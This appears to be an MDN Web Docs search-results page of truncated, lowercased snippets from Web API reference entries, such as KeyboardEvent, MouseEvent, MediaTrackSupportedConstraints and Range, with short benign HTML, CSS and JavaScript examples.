syntax var altkeypressed = instanceofkeyboardevent.altkey return value boolean examples <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
KeyboardEvent.charCode - Web APIs
example html <p>type anything into the input box below to log a <code>charcode</code>.</p> <input type="text" /> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.queryselector('#log'); input.addeventlistener('keypress', function(e) { log.innertext = `key pressed: ${string.fromcharcode(e.charcode)}\ncharcode: ${e.charcode}`; }); result notes in a keypress event, the unicode value of the key pressed is stored in either the keycode or charcode property, but never both.
KeyboardEvent.ctrlKey - Web APIs
syntax var ctrlkeypressed = instanceofkeyboardevent.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of ...
Key Values - Web APIs
learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
</div> <div class="flex"> <pre id="console-log"></pre> </div> </div> css .fx { -webkit-display: flex; display: flex; margin-left: -20px; margin-right: -20px; } .fx > div { padding-left: 20px; padding-right: 20px; } .fx > div:first-child { width: 30%; } .flex { -webkit-flex: 1; flex: 1; } #test-target { display: block; width: 100%; margin-bottom: 10px; } javascript let textarea = document.getelementbyid('test-target'), consolelog = document.getelementbyid('console-log'), btnclearconsole = document.getelementbyid('btn-clear-console'); function logmessage(message) { document.getelementbyid("console-log").innerhtml += message + "<br>"; } textarea.addeventlistener('keydown', (e) => { if (!e.repeat) logmessage(`key "${e.key}" pressed [event: keydown]...
KeyboardEvent.shiftKey - Web APIs
syntax var shiftkeypressed = instanceofkeyboardevent.shiftkey return value a boolean example <html> <head> <title>shiftkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications specific...
KeyboardEvent.which - Web APIs
example <html> <head> <title>charcode/keycode/which example</title> <script type="text/javascript"> function showkeypress(evt) { alert("onkeypress handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" + "charcode property: " + evt.charcode + "\n" + "character key pressed: " + string.fromcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode property: " + evt.keyc...
KeyframeEffect.setKeyframes() - Web APIs
two exceptional css properties are: float, which must be written as cssfloat since "float" is a reserved word in javascript.
Location - Web APIs
WebAPILocation
family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5; background:black;} [title]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagatio...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript.
MSManipulationEvent - Web APIs
methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called from javascript.
MathMLElement - Web APIs
documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaDevices.getSupportedConstraints() - Web APIs
html <p>the following media constraints are supported by your browser:</p> <ul id="constraintlist"> </ul> css body { font: 15px arial, sans-serif; } javascript let constraintlist = document.getelementbyid("constraintlist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } resu...
MediaDevices.getUserMedia() - Web APIs
these kinds of urls loaded from javascript code inherit the script's permissions.
MediaDevices.ondevicechange - Web APIs
x solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } h2 { margin-bottom: 4px; } .left { float:left; width: 48%; margin-right: 2% } .right { float:right; width: 48%; margin-left: 2% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to ondevicechange, so we won't go into any detail.
MediaPositionState.position - Web APIs
example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaQueryList.media - Web APIs
javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.media; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the result's media property.
MediaRecorderErrorEvent() - Web APIs
some user agents add to the error object other properties that provide information such as stack dumps, the name of the javascript file and the line number where the error occurred, and other debugging aids, but you should not rely on this information in a production environment.
MediaSession.setPositionState() - Web APIs
example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaStream.onaddtrack - Web APIs
the addtrack event does not get fired when javascript code explicitly adds tracks to the stream (by calling addtrack()).
MediaStream.onremovetrack - Web APIs
the removetrack event does not get fired when javascript code explicitly removes tracks from the stream (by calling removetrack()).
MediaStreamTrack.remote - Web APIs
the mediastreamtrack.remote read-only property allows javascript to know whether a webrtc mediastreamtrack is from a remote source or a local one.
Recording a media element - Web APIs
font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; text-decoration: none; } h2 { margin-bottom: 4px; } .left { margin-right: 10px; float: left; width: 160px; padding: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript content now let's have a look at the javascript code; this is where the majority of the action happens, after all!
Using the MediaStream Recording API - Web APIs
if you are not interested in css and want to get straight to the javascript, skip to the basic app setup section.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
MediaTrackSupportedConstraints.autoGainControl - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
MediaTrackSupportedConstraints.deviceId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'echocancellation' in that specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
example html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
MediaTrackSupportedConstraints.frameRate - Web APIs
javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().framerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } result the output, showing if your browser supports the framerate constraint, is: while this exampl...
MediaTrackSupportedConstraints.groupId - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
MediaTrackSupportedConstraints.height - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
MediaTrackSupportedConstraints.latency - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
MediaTrackSupportedConstraints.volume - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().volume) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result ...
MediaTrackSupportedConstraints.width - Web APIs
example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
Using the Media Capabilities API - Web APIs
tion> <option>24</option> <option selected>15</option> </select> </li> <li> <label for="bitrate">select a bitrate</label> <select id="bitrate"> <option>4000</option> <option>2500</option> <option>800</option> </select> </li> </ul> <p><input type="button" value="test this video configuration" id="tryit"></p> </form> <ul id="results"></ul> javascript let mc = { videoconfiguration : new object(), tryit: function () { mc.createconfiguration(); mc.testit(); }, createconfiguration: function () { var size = document.getelementbyid('size').value.split('x'); mc.videoconfiguration = { type: 'file', video: { contenttype: document.getelementbyid('codec').value, width: size[0], height: size[1]...
Capabilities, constraints, and settings - Web APIs
olor: darkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; } javascript content now let's take a look at the javascript code that makes everything work.
MessageEvent - Web APIs
examples in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascript to perform a simple calculation.
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.altkey' in that specification.
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
example html <button id="button" oncontextmenu="event.preventdefault();">click here with your mouse...</button> <p id="log"></p> javascript let button = document.queryselector('#button'); let log = document.queryselector('#log'); button.addeventlistener('mouseup', logmousebutton); function logmousebutton(e) { if (typeof e === 'object') { switch (e.button) { case 0: log.textcontent = 'left button clicked.'; break; case 1: log.textcontent = 'middle button clicked.'; break; case ...
MouseEvent.buttons - Web APIs
html <p>click anywhere with one or more mouse buttons.</p> <pre id="log">buttons: </pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) resu...
MouseEvent.clientX - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that speci...
MouseEvent.clientY - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that speci...
MouseEvent.ctrlKey - Web APIs
html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
MouseEvent.initMouseEvent() - Web APIs
example html <div style="background:red; width:180px; padding:10px;"> <div id="out"></div> <input type="text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null); document.body.dispatchevent(evt); } simulatec...
MouseEvent.metaKey - Web APIs
html <p>click anywhere to test the <code>metakey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the meta key is pressed: ${e.metakey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.metakey' in that specification.
MouseEvent.movementX - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of '...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
MouseEvent.relatedTarget - Web APIs
html <body id="body"> <div id="outer"> <div id="red"></div> <div id="blue"></div> </div> <p id="log"></p> </body> css #outer { width: 250px; height: 125px; display: flex; } #red { flex-grow: 1; background: red; } #blue { flex-grow: 1; background: blue; } #log { max-height: 120px; overflow-y: scroll; } javascript const mouseoutlog = document.getelementbyid('log'), red = document.getelementbyid('red'), blue = document.getelementbyid('blue'); red.addeventlistener('mouseover', overlistener); red.addeventlistener('mouseout', outlistener); blue.addeventlistener('mouseover', overlistener); blue.addeventlistener('mouseout', outlistener); function outlistener(event) { let related = event.relatedt...
MouseEvent.screenX - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result routing an event when you trap events on the window, document, or other roomy elements, you can get the coordinates of that event (e.g., a click)...
MouseEvent.screenY - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that speci...
MouseEvent.shiftKey - Web APIs
html <p>click anywhere to test the <code>shiftkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the shift key is pressed: ${e.shiftkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.shiftkey' in that specification.
MouseEvent - Web APIs
html <p><label><input type="checkbox" id="checkbox"> checked</label> <p><button id="button">click me</button> javascript function simulateclick() { var evt = new mouseevent("click", { bubbles: true, cancelable: true, view: window }); var cb = document.getelementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not can...
msFirstPaint - Web APIs
it is available from javascript and can be reported from the field.
msPlayToSource - Web APIs
example <video id="videoplayer" src="http://www.contoso.com/clip.mp4" controls autoplay /> <script type="text/javascript"> // step 1: obtain playtomanager object for app’s current view.
Navigation Timing API - Web APIs
unlike javascript-based libraries that have historically been used to collect similar information, the navigation timing api can be much more accurate and reliable.
Navigator.msLaunchUri() - Web APIs
the mslaunchuri() method does not support http, secure hypertext transfer protocol (https), file transfer protocol (ftp), file, res, javascript, or microsoft visual basic scripting edition (vbscript) protocols.
Web-based protocol handlers - Web APIs
example <!doctype html public "-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - register</title> <script type="text/javascript"> navigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); </script> </head> <body> <h1>web protocol handler sample</h1> <p>this web page will install a web protocol handler for the <code>web+burger:</code> protocol.</p> </body> </html> activating now, anytime the user act...
Navigator.share() - Web APIs
WebAPINavigatorshare
the javascript looks like this: const sharedata = { title: 'mdn', text: 'learn web development on mdn!', url: 'https://developer.mozilla.org', } const btn = document.queryselector('button'); const resultpara = document.queryselector('.result'); // must be triggered some kind of "user activation" btn.addeventlistener('click', async () => { try { await navigator.share(sharedata) resultpara.text...
Navigator - Web APIs
WebAPINavigator
javascript taint/untaint functions removed in javascript 1.2.
NavigatorID.taintEnabled() - Web APIs
tainting was a security method used by javascript 1.2.
NavigatorID.userAgent - Web APIs
some firefox extensions do that; however, this only changes the http header that gets sent, and doesn't affect browser detection performed by javascript code.
NavigatorID - Web APIs
javascript taint/untaint functions were removed in javascript 1.2.
NavigatorPlugins.plugins - Web APIs
the returned value is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height...
Node.removeChild() - Web APIs
WebAPINoderemoveChild
out having to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nested); </script> causing a notfounderror <!--sample html code--> <div id="top"> <div id="nested"></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nest...
NodeList.item() - Web APIs
WebAPINodeListitem
alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that s...
NodeList - Web APIs
WebAPINodeList
this is mostly useful for non-javascript dom implementations.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
syntax var nextnode = elementnodereference.nextelementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <script type="text/javascript"> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be...
PageTransitionEvent - Web APIs
example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
PaintWorklet - Web APIs
css.paintworklet.addmodule() the addmodule() method, inhertied from the worklet interface loads the module in the given javascript file and adds it to the current paintworklet.
ParentNode.children - Web APIs
you can access the individual child nodes in the collection by using either the item() method on the collection, or by using javascript array-style notation.
ParentNode.querySelector() - Web APIs
since javascript also uses backspace escaping, special care must be taken when writing string literals using these characters.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method.
performance.now() - Web APIs
WebAPIPerformancenow
syntax t = performance.now(); example const t0 = performance.now(); dosomething(); const t1 = performance.now(); console.log(`call to dosomething took ${t1 - t0} milliseconds.`); unlike other timing data available to javascript (for example date.now), the timestamps returned by performance.now() are not limited to one-millisecond resolution.
PerformanceServerTiming - Web APIs
onst headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable from javascript via the performanceresourcetiming.servertiming property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} speci...
PluginArray - Web APIs
the pluginarray is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods.
Pointer Lock API - Web APIs
the demo looks like this: this demo uses javascript to draw a ball on top of an <canvas> element.
PopStateEvent - Web APIs
the popstate event is only triggered by doing a browser action such as a clicking on the back button (or calling history.back() in javascript).
PromiseRejectionEvent.reason - Web APIs
the promiserejectionevent reason read-only property is any javascript value or object which provides the reason passed into promise.reject().
PushManager.registrations() - Web APIs
pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the url of the endpoint.
PushManager.unregister() - Web APIs
pushregistration those objects are anonymous javascript objects with the following properties: pushendpoint a string representing the url of the unregistered endpoint.
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
RTCDataChannel - Web APIs
propertiesalso inherits properties from: eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
RTCIceCandidatePairStats.priority - Web APIs
note: this property was removed from the specification as its value cannot be guaranteed to be accurately represented in a javascript number.
RTCIceTransport.getLocalCandidates() - Web APIs
return value a javascript array containing one rtcicecandidate object for each candidate that has been identified so far during the ice candidate gathering session.
RTCPeerConnection.setLocalDescription() - Web APIs
successcallback a javascript function which accepts no input parameters to be be called once the description has been successfully set.
RTCPeerConnection.setRemoteDescription() - Web APIs
pc.setremotedescription(sessiondescription, successcallback, errorcallback); parameters successcallback a javascript function which accepts no input parameters to be be called once the description has been successfully set.
RTCPeerConnection - Web APIs
if it has not yet been set, this is null.peeridentity read only the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a domstring identifying the remote peer.pendinglocaldescription read only the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
function findreportentry(report, key, value) { for (const stats of report.values()) { if (stats[key] === value) { return stats; } } return null; } since the rtcstatsreport is a javascript map, we can iterate over the map's values() to examine each of the rtcstats-based statistics records in the report until we find one that has the key property with the specified value.
RTCRtpReceiver.getStats() - Web APIs
syntax var promise = rtcrtpreceiver.getstats(); return value a javascript promise which is fulfilled once the statistics are available.
RTCRtpSender.getStats() - Web APIs
syntax var promise = rtcrtpsender.getstats(); return value a javascript promise which is fulfilled once the statistics are available.
RadioNodeList.value - Web APIs
syntax value = radionodelist.value; radionodelist.value = string; example html <form> <label><input type="radio" name="color" value="blue">blue</label> <label><input type="radio" name="color" value="red">red</label> </form> javascript // get the form const form = document.forms[0]; // get the form's radio buttons const radios = form.elements['color']; // choose the "red" option radios.value = 'red'; result specifications specification status comments html living standardthe definition of 'radionodelist.value' in that specification.
Range() - Web APIs
WebAPIRangeRange
html <p>first paragraph.</p> <p>second paragraph.</p> <p>third paragraph.</p> <p>fourth paragraph.</p> javascript const paragraphs = document.queryselectorall('p'); // create new range const range = new range(); // start range at second paragraph range.setstartbefore(paragraphs[1]); // end range at third paragraph range.setendafter(paragraphs[2]); // get window selection const selection = window.getselection(); // add range to window selection selection.addrange(range); result specification ...
Range.commonAncestorContainer - Web APIs
.highlight { animation: highlight linear 1s; } @keyframes highlight { from { outline: 1px solid #f00f; } to { outline: 1px solid #f000; } } body { padding: 1px; } javascript document.addeventlistener('pointerup', e => { const selection = window.getselection(); if (selection.type === 'range') { for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); playanimation(range.commonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.clas...
Range.extractContents() - Web APIs
html <p id="list1">123456</p> <button id="swap">swap selected item(s)</button> <p id="list2">abcdef</p> css body { pointer-events: none; } p { border: 1px solid; font-size: 2em; padding: .3em; } button { font-size: 1.2em; padding: .5em; pointer-events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorc...
Range.getBoundingClientRect() - Web APIs
the bounding client rectangle contains everything selected in the range.</p> css #highlight { background: yellow; position: absolute; z-index: -1; } p { width: 200px; } javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); const clientrect = range.getboundingclientrect(); const highlight = document.getelementbyid('highlight'); highlight.style.left = `${clientrect.x}px`; highlight.style.top = `${clientrect.y}px`; highlight.style.width = `${clie...
Range.selectNodeContents() - Web APIs
